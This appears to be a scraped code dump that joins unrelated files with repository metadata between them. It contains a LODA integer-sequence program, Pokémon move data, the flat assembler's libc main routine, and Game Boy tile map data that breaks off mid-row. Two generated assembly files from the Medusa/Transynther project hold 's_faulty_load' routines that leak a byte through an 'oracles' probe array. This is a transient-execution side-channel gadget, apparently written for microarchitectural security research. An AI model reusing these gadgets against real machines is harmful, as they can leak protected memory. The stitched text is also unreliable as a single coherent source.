; A133494: Diagonal of the array of iterated differences of A047848. ; 1,1,3,9,27,81,243,729,2187,6561,19683,59049,177147,531441,1594323,4782969,14348907,43046721,129140163,387420489,1162261467,3486784401,10460353203,31381059609,94143178827,282429536481,847288609443,2541865828329,7625597484987 trn $0,1 mov $1,3 pow $1,$0
46.285714
225
0.817901
eeda5e5c9f03f0fc3bc8e98f883eb0895b5c3115
4,680
asm
Assembly
Transynther/x86/_processed/US/_zr_/i7-7700_9_0x48.log_21829_163.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/US/_zr_/i7-7700_9_0x48.log_21829_163.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/US/_zr_/i7-7700_9_0x48.log_21829_163.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r14 push %r15 push %r8 push %rax push %rbx push %rcx push %rsi lea addresses_A_ht+0x9bd6, %r15 nop nop nop nop xor %r14, %r14 vmovups (%r15), %ymm5 vextracti128 $1, %ymm5, %xmm5 vpextrq $0, %xmm5, %r8 nop inc %rcx lea addresses_normal_ht+0x4fba, %rax nop nop nop cmp %rcx, %rcx movb (%rax), %r8b nop nop nop add $17206, %r15 lea addresses_WC_ht+0x3646, %rcx nop nop nop nop nop add $56309, %rbx mov $0x6162636465666768, %rax movq %rax, %xmm2 movups %xmm2, (%rcx) add %r8, %r8 pop %rsi pop %rcx pop %rbx pop %rax pop %r8 pop %r15 pop %r14 ret .global s_faulty_load s_faulty_load: push %r10 push %r15 push %r9 push %rax push %rdi push %rdx // Faulty Load lea addresses_US+0x113d6, %r15 nop nop nop and $11351, %r9 vmovups (%r15), %ymm2 vextracti128 $1, %ymm2, %xmm2 vpextrq $0, %xmm2, %rdi lea oracles, %rax and $0xff, %rdi shlq $12, %rdi mov (%rax,%rdi,1), %rdi pop %rdx pop %rdi pop %rax pop %r9 pop %r15 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 11, 'size': 32, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 2, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 4, 'size': 16, 'same': False, 'NT': False}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
49.787234
2,999
0.661752
4f96c7103b0fb659907dbd2e9185496926ff9f4a
7,682
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_ht_zr_/i9-9900K_12_0xca.log_21829_1498.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_ht_zr_/i9-9900K_12_0xca.log_21829_1498.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_ht_zr_/i9-9900K_12_0xca.log_21829_1498.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r15 push %rax push %rbx push %rcx push %rdi push %rsi lea addresses_normal_ht+0x5693, %r10 nop inc %rax and $0xffffffffffffffc0, %r10 vmovntdqa (%r10), %ymm7 vextracti128 $0, %ymm7, %xmm7 vpextrq $0, %xmm7, %r13 nop sub $25228, %rax lea addresses_A_ht+0x1659, %rsi lea addresses_D_ht+0x1b859, %rdi nop nop nop nop nop cmp %rbx, %rbx mov $31, %rcx rep movsw nop nop add $36702, %rdi lea addresses_D_ht+0x18459, %rax nop nop nop nop nop cmp $3012, %rcx movb $0x61, (%rax) nop nop nop nop cmp %rdi, %rdi lea addresses_WC_ht+0x1df59, %r13 nop dec %rsi movw $0x6162, (%r13) nop nop nop nop and $59953, %rax lea addresses_D_ht+0x1372, %rsi nop nop nop and $14002, %rax and $0xffffffffffffffc0, %rsi movaps (%rsi), %xmm0 vpextrq $0, %xmm0, %rdi nop nop and $60788, %rbx lea addresses_D_ht+0xa959, %rsi lea addresses_normal_ht+0x4259, %rdi inc %r15 mov $34, %rcx rep movsq nop dec %r10 lea addresses_UC_ht+0x19859, %rsi lea addresses_WT_ht+0x11859, %rdi clflush (%rsi) xor %rbx, %rbx mov $80, %rcx rep movsb add $59749, %rax lea addresses_normal_ht+0xd459, %r15 nop sub $15639, %rsi vmovups (%r15), %ymm1 vextracti128 $1, %ymm1, %xmm1 vpextrq $1, %xmm1, %rdi nop nop xor $16929, %rax lea addresses_WC_ht+0x1677d, %rsi lea addresses_WT_ht+0xef41, %rdi clflush (%rsi) nop nop xor %r15, %r15 mov $11, %rcx rep movsw nop nop xor $1753, %r10 lea addresses_WC_ht+0x15c59, %rsi lea addresses_WT_ht+0x1c819, %rdi nop nop nop nop sub $43260, %r13 mov $123, %rcx rep movsl xor %rax, %rax lea addresses_WC_ht+0x1c859, %r15 nop nop cmp $14672, %rax movw $0x6162, (%r15) nop nop nop nop dec %r13 pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r15 pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r14 push %r15 push %rbp push %rbx push %rcx push %rdi push %rdx // Store mov $0x79ea8d0000000419, %rbp nop nop nop nop nop inc %rcx movb $0x51, (%rbp) nop nop nop nop inc %r14 // Store lea addresses_WT+0x1459, %r15 nop cmp $10611, %rdx movl $0x51525354, (%r15) nop sub %rdi, %rdi // Store lea addresses_WC+0x459, %rdi sub %rbp, %rbp mov $0x5152535455565758, %rcx movq %rcx, (%rdi) nop nop nop nop nop dec %rbx // Faulty Load lea addresses_UC+0x13c59, %rcx nop nop nop nop nop sub $46396, %rbx movntdqa (%rcx), %xmm3 vpextrq $1, %xmm3, %r15 lea oracles, %rbp and $0xff, %r15 shlq $12, %r15 mov (%rbp,%r15,1), %r15 pop %rdx pop %rdi pop %rcx pop %rbx pop %rbp pop %r15 pop %r14 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_UC', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_NC', 'same': False, 'AVXalign': False, 'congruent': 6}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_WT', 'same': False, 'AVXalign': False, 'congruent': 11}} {'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_WC', 'same': False, 'AVXalign': True, 'congruent': 11}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 16, 'NT': True, 'type': 'addresses_UC', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'size': 32, 'NT': True, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 1}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 9}, 'dst': {'same': True, 'type': 'addresses_D_ht', 'congruent': 9}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 11}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 8}} {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': True, 'congruent': 0}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 7}, 'dst': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 5}} {'OP': 'REPM', 'src': {'same': True, 'type': 'addresses_UC_ht', 'congruent': 7}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 10}} {'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 11}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 1}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 3}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 11}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 5}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': True, 'congruent': 8}} {'44': 1189, '45': 67, '00': 15236, '46': 5337} 46 00 46 46 00 00 00 00 46 44 00 00 00 00 46 46 46 00 00 00 00 00 44 46 00 00 00 00 00 46 46 00 00 00 00 00 46 46 00 00 00 00 46 46 46 00 00 00 00 00 46 46 00 00 00 00 00 46 46 46 00 00 00 00 00 46 46 46 00 00 00 00 00 46 46 46 45 00 00 00 00 00 44 46 46 00 00 00 00 46 46 46 00 00 00 00 00 46 46 00 00 00 00 00 00 46 46 00 00 00 00 00 46 44 00 00 00 00 00 46 46 00 00 00 00 00 46 46 00 00 00 00 00 44 46 00 00 00 00 00 46 46 00 00 00 00 00 46 46 00 00 00 00 00 44 44 00 00 00 00 00 46 00 00 00 00 00 00 46 44 00 00 00 00 00 00 46 00 00 00 00 00 00 46 46 00 00 00 00 00 00 44 46 45 00 00 00 00 00 46 46 00 00 00 00 00 00 46 44 00 00 00 00 00 46 46 46 00 00 00 00 00 46 46 00 00 00 00 00 46 46 46 00 00 00 00 46 46 46 00 00 00 00 00 44 44 00 00 00 00 00 46 46 46 00 00 00 00 00 44 46 00 00 00 00 00 46 46 00 00 00 00 00 44 44 00 00 00 00 00 00 46 46 00 00 00 00 00 44 46 46 00 00 00 00 00 00 46 46 00 00 00 00 00 46 46 00 00 00 00 00 46 00 00 00 00 00 00 46 44 00 00 00 00 46 44 00 00 00 00 00 00 46 44 00 00 00 00 00 00 46 44 00 00 00 00 46 46 00 00 00 00 00 46 46 00 00 00 00 00 46 44 00 00 00 00 00 44 46 00 00 00 00 00 46 46 00 00 00 00 00 46 46 00 00 00 00 00 46 46 00 00 00 00 46 44 00 00 00 00 00 44 46 46 00 00 00 00 00 46 00 00 00 00 00 46 44 44 00 00 00 00 46 46 00 00 00 00 00 46 46 00 00 00 00 00 46 46 00 00 00 00 00 46 46 44 00 00 00 00 00 46 46 46 00 00 00 00 00 46 44 00 00 00 00 00 46 46 00 00 00 00 00 46 46 00 00 00 00 44 46 46 00 00 00 00 00 44 46 00 00 00 00 00 00 46 46 46 00 00 00 00 46 46 46 00 00 00 00 46 46 00 00 00 00 00 46 46 00 00 00 00 00 00 46 46 00 00 00 00 46 44 46 00 00 00 00 00 46 00 00 00 00 00 46 44 46 00 00 00 00 00 00 46 46 00 00 00 00 46 46 00 00 00 00 00 00 46 46 45 00 00 00 00 00 46 44 00 00 00 00 00 46 46 00 00 00 00 00 46 46 00 00 00 00 00 46 44 46 00 00 00 00 46 44 46 00 00 00 00 00 46 44 46 45 00 00 00 00 46 46 46 00 00 00 00 00 00 46 44 00 00 00 00 00 00 46 46 00 00 00 00 00 00 44 46 45 00 00 00 00 00 00 46 46 00 00 00 00 00 46 46 46 00 00 00 00 00 00 46 00 00 00 00 00 00 44 46 00 00 00 00 00 46 46 00 00 00 00 00 00 46 46 46 00 00 00 00 44 46 00 00 00 00 00 44 46 00 00 00 00 00 44 46 44 00 00 00 00 00 44 46 00 00 00 00 46 46 44 00 00 00 00 00 00 44 46 45 00 00 00 00 00 46 46 00 00 00 00 00 00 44 46 46 00 00 00 00 00 46 46 46 00 00 00 00 00 44 46 45 00 00 00 00 00 46 44 00 00 00 00 00 46 46 00 00 00 00 00 46 46 00 00 00 00 00 00 46 44 45 00 00 00 00 00 46 46 00 00 00 00 00 00 46 46 00 00 00 00 00 46 46 00 00 00 00 00 44 46 00 00 00 00 00 46 46 00 00 00 00 00 46 46 00 00 00 00 00 00 46 46 00 00 00 00 00 46 44 00 00 00 00 00 46 46 00 00 00 00 00 46 46 00 00 00 00 00 00 46 46 00 00 00 00 00 46 46 00 00 00 00 00 46 44 00 00 00 00 00 46 44 00 00 00 00 00 00 46 46 00 00 00 00 00 46 46 46 00 00 00 00 00 44 44 00 00 00 00 00 46 00 00 00 00 44 46 46 00 00 00 00 46 46 00 00 00 00 00 46 44 00 00 00 00 00 46 44 00 00 00 00 00 00 46 46 00 00 00 00 00 46 46 00 00 00 00 00 46 46 46 00 00 00 00 00 44 46 00 00 00 00 00 46 46 46 00 00 00 00 00 */
34.603604
2,999
0.657902
53f617a4e17420fcf80dda4cb7bf5d98af991f72
92
asm
Assembly
data/moves/always_hit.asm
AtmaBuster/pokeplat-gen2
fa83b2e75575949b8f72cb2c48f7a1042e97f70f
[ "blessing" ]
6
2021-06-19T06:41:19.000Z
2022-02-15T17:12:33.000Z
data/moves/always_hit.asm
AtmaBuster/pokeplat-gen2-old
01e42c55db5408d72d89133dc84a46c699d849ad
[ "blessing" ]
null
null
null
data/moves/always_hit.asm
AtmaBuster/pokeplat-gen2-old
01e42c55db5408d72d89133dc84a46c699d849ad
[ "blessing" ]
3
2021-01-15T18:45:40.000Z
2021-10-16T03:35:27.000Z
AlwaysHitEffects: db EFFECT_ALWAYS_HIT db EFFECT_VITAL_THROW db EFFECT_TRUMP_CARD db -1
15.333333
22
0.836957
4f6454c9a71b247e9d0af5d659c524a3a882a43e
8,350
asm
Assembly
gramado/cmd/zfasm/libc/fasm.asm
RC0D3/gramado
b165089b382ccefb238df0e5c3b35c9aeb4e2b00
[ "BSD-2-Clause" ]
609
2017-08-28T01:58:35.000Z
2022-03-01T12:11:21.000Z
setup2/cmd/zfasm/libc/fasm.asm
moneytech/gramado
6cef2167281f4d9e93aa1c84135cc918ecb8a008
[ "BSD-2-Clause" ]
30
2017-09-01T01:40:18.000Z
2021-08-01T22:28:56.000Z
setup2/cmd/zfasm/libc/fasm.asm
moneytech/gramado
6cef2167281f4d9e93aa1c84135cc918ecb8a008
[ "BSD-2-Clause" ]
65
2017-10-05T02:27:29.000Z
2022-01-03T21:18:15.000Z
; flat assembler interface for Unix/libc ; Copyright (c) 1999-2020, Tomasz Grysztar. ; All rights reserved. format ELF public _fasm_main macro ccall proc,[arg] { common local size size = 0 mov ebp,esp if ~ arg eq forward size = size + 4 common sub esp,size end if and esp,-16 if ~ arg eq add esp,size reverse pushd arg common end if call proc mov esp,ebp } extrn _gettimeofday section '.text' executable align 16 ;; #todo ;; main() needs to give us the arguments. _fasm_main: ; argc mov ecx,[esp+4] mov [argc],ecx ; argv mov ebx,[esp+8] mov [argv],ebx push ebp mov [stack_frame], esp mov [con_handle], 1 ;; ;; Logo ;; mov esi, _logo call display_string ;; ;; == Step 1 ============================================ ;; mov esi, __step1 call display_string call get_params jc information ;; ;; == Step 2 ============================================== ;; mov esi, __step2 call display_string call init_memory ;; ;; == Step 3 ============================================ ;; mov esi, __step3 call display_string mov esi,_memory_prefix call display_string mov eax, [memory_end] sub eax, [memory_start] add eax, [additional_memory_end] sub eax, [additional_memory] shr eax, 10 call display_number ;; message mov esi,_memory_suffix call display_string ;; ;; == Step 4 ============================================== ;; mov esi, __step4 call display_string ; Time of the day. ccall _gettimeofday,buffer,0 ;; ;; == Step 5 ================================================ ;; ;; #bugbug ;; Something is not working in this step! ;; See: preproce.inc mov esi, __step5 call display_string mov eax, dword [buffer] mov ecx, 1000 mul ecx mov ebx, eax mov eax, dword [buffer+4] div ecx add eax, ebx mov [start_time], eax and [preprocessing_done], 0 call preprocessor or [preprocessing_done], -1 ;; ;; == Parser. step 6 ========================================== ;; mov esi, __step6 call display_string call parser ;; ;; == Assembler. step 7 ======================================= ;; mov esi, __step7 call display_string call assembler ;; ;; == Formater. step 8 ========================================== ;; mov esi, __step8 call display_string call formatter ;; Display user messages. call display_user_messages movzx eax, [current_pass] inc eax call display_number mov esi, _passes_suffix call display_string ;; time of the day. ccall _gettimeofday,buffer,0 mov eax,dword [buffer] mov ecx,1000 mul ecx mov ebx,eax mov eax,dword [buffer+4] div ecx add eax,ebx sub eax,[start_time] jnc time_ok add eax,3600000 time_ok: xor edx,edx mov ebx,100 div ebx or eax,eax jz display_bytes_count xor edx,edx mov ebx,10 div ebx push edx call display_number mov dl,'.' call display_character pop eax call display_number mov esi,_seconds_suffix call display_string display_bytes_count: mov eax,[written_size] call display_number mov esi,_bytes_suffix call display_string ;; exit. xor al, al jmp exit_program ;; Information. information: mov esi, _usage call display_string mov al, 1 jmp exit_program get_params: mov [input_file],0 mov [output_file],0 mov [symbols_file],0 mov [memory_setting],0 mov [passes_limit],100 mov ecx,[argc] mov ebx,[argv] add ebx,4 dec ecx jz bad_params mov [definitions_pointer],predefinitions get_param: mov esi,[ebx] mov al,[esi] cmp al,'-' je option_param cmp [input_file],0 jne get_output_file mov [input_file],esi jmp next_param get_output_file: cmp [output_file],0 jne bad_params mov [output_file],esi jmp next_param option_param: inc esi lodsb cmp al,'m' je memory_option cmp al,'M' je memory_option cmp al,'p' je passes_option cmp al,'P' je passes_option cmp al,'d' je definition_option cmp al,'D' je definition_option cmp al,'s' je symbols_option cmp al,'S' je symbols_option bad_params: stc ret memory_option: cmp byte [esi],0 jne get_memory_setting dec ecx jz bad_params add ebx,4 mov esi,[ebx] get_memory_setting: call get_option_value or edx,edx jz bad_params cmp edx,1 shl (32-10) jae bad_params mov [memory_setting],edx jmp next_param passes_option: cmp byte [esi],0 jne get_passes_setting dec ecx jz bad_params add ebx,4 mov esi,[ebx] get_passes_setting: call get_option_value or edx,edx jz bad_params cmp edx,10000h ja bad_params mov [passes_limit],dx next_param: add ebx,4 dec ecx jnz get_param cmp [input_file],0 je bad_params mov eax,[definitions_pointer] mov byte [eax],0 mov [initial_definitions],predefinitions clc ret definition_option: cmp byte [esi],0 jne get_definition dec ecx jz bad_params add ebx,4 mov esi,[ebx] get_definition: push edi mov edi,[definitions_pointer] call convert_definition_option mov [definitions_pointer],edi pop edi jc bad_params jmp next_param symbols_option: cmp byte [esi],0 jne get_symbols_setting dec ecx jz bad_params add ebx,4 mov esi,[ebx] get_symbols_setting: mov [symbols_file],esi jmp next_param get_option_value: xor eax,eax mov edx,eax get_option_digit: lodsb cmp al,20h je option_value_ok cmp al,0Dh je option_value_ok or al,al jz option_value_ok sub al,30h jc invalid_option_value cmp al,9 ja invalid_option_value imul edx,10 jo invalid_option_value add edx,eax jc invalid_option_value jmp get_option_digit option_value_ok: dec esi clc ret invalid_option_value: stc ret convert_definition_option: mov edx,edi cmp edi,predefinitions+1000h jae bad_definition_option xor al,al stosb copy_definition_name: lodsb cmp al,'=' je copy_definition_value cmp al,20h je bad_definition_option or al,al jz bad_definition_option cmp edi,predefinitions+1000h jae bad_definition_option stosb inc byte [edx] jnz copy_definition_name bad_definition_option: stc ret copy_definition_value: lodsb cmp al,20h je definition_value_end or al,al jz definition_value_end cmp edi,predefinitions+1000h jae bad_definition_option stosb jmp copy_definition_value definition_value_end: dec esi cmp edi,predefinitions+1000h jae bad_definition_option xor al,al stosb clc ret include 'system.inc' include '..\version.inc' _copyright db 'Copyright (c) 1999-2020, Tomasz Grysztar',0xA,0 _logo db 'flat assembler version ',VERSION_STRING,0 _usage db 0xA db 'usage: fasm <source> [output]',0xA db 'optional settings:',0xA db ' -m <limit> set the limit in kilobytes for the available memory',0xA db ' -p <limit> set the maximum allowed number of passes',0xA db ' -d <name>=<value> define symbolic variable',0xA db ' -s <file> dump symbolic information for debugging',0xA db 0 _memory_prefix db ' (',0 _memory_suffix db ' kilobytes memory)',0xA,0 _passes_suffix db ' passes, ',0 _seconds_suffix db ' seconds, ',0 _bytes_suffix db ' bytes.',0xA,0 __step1 db 0xA db 'Step1 ', 0xA,0 __step2 db 'Step2 ', 0xA,0 __step3 db 'Step3 ', 0xA,0 __step4 db 'Step4 ', 0xA,0 __step5 db 'Step5 ', 0xA,0 __step6 db 'Step6 ', 0xA,0 __step7 db 'Step7 ', 0xA,0 __step8 db 'Step8 ', 0xA,0 include '..\errors.inc' include '..\symbdump.inc' include '..\preproce.inc' include '..\parser.inc' include '..\exprpars.inc' include '..\assemble.inc' include '..\exprcalc.inc' include '..\formats.inc' include '..\x86_64.inc' include '..\avx.inc' include '..\tables.inc' include '..\messages.inc' section '.bss' writeable align 4 include '..\variable.inc' argc dd ? argv dd ? stack_frame dd ? memory_setting dd ? definitions_pointer dd ? start_time dd ? timestamp dq ? con_handle dd ? displayed_count dd ? last_displayed db ? character db ? preprocessing_done db ? predefinitions rb 1000h buffer rb 1000h
16.902834
87
0.641437
12b4bff2ad6fc493c515f6da43c74533efdbd5ef
42,540
asm
Assembly
source/rom14/rom14_intro_cutscene_data.asm
evanbowman/Red
85735269a46757305a81ad39f47034bc6cd97846
[ "BSD-2-Clause" ]
5
2021-08-30T16:18:55.000Z
2021-10-30T20:23:32.000Z
source/rom14/rom14_intro_cutscene_data.asm
evanbowman/gbc-project
85735269a46757305a81ad39f47034bc6cd97846
[ "BSD-2-Clause" ]
null
null
null
source/rom14/rom14_intro_cutscene_data.asm
evanbowman/gbc-project
85735269a46757305a81ad39f47034bc6cd97846
[ "BSD-2-Clause" ]
null
null
null
SECTION "INTRO_CUTSCENE_2_MAP", ROMX, ALIGN[8], BANK[14] r14_cutscene_face_map_data:: .face_0 DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $81, $82, $82, $82, $82, $82, $83, $84, $80, $80, $85, $86, $87, $88, $82, $89, $8A, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $82, $8B, $8C, $8D, $8E, $8F, $90, $91, $92, $93, $94, $95, $8A, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $82, $96, $8A, $97, $98, $99, $9A, $9B, $8A, $9C, $9D, $9E, $8A, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $9F, $A0, $A1, $A2, $A3, $A4, $8A, $A5, $A6, $A7, $A8, $A9, $8A, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $AA, $8A, $8A, $AB, $AC, $8A, $AD, $AE, $AF, $B0, $B1, $B2, $8A, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $B3, $B4, $8A, $B5, $B6, $8A, $B7, $8A, $B8, $B9, $BA, $BB, $8A, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $BC, $BD, $BE, $8A, $8A, $8A, $BF, $C0, $8A, $8A, $C1, $C2, $C3, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $C4, $80, $C5, $C6, $8A, $8A, $8A, $C7, $8A, $8A, $C8, $C9, $CA, $CB, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, 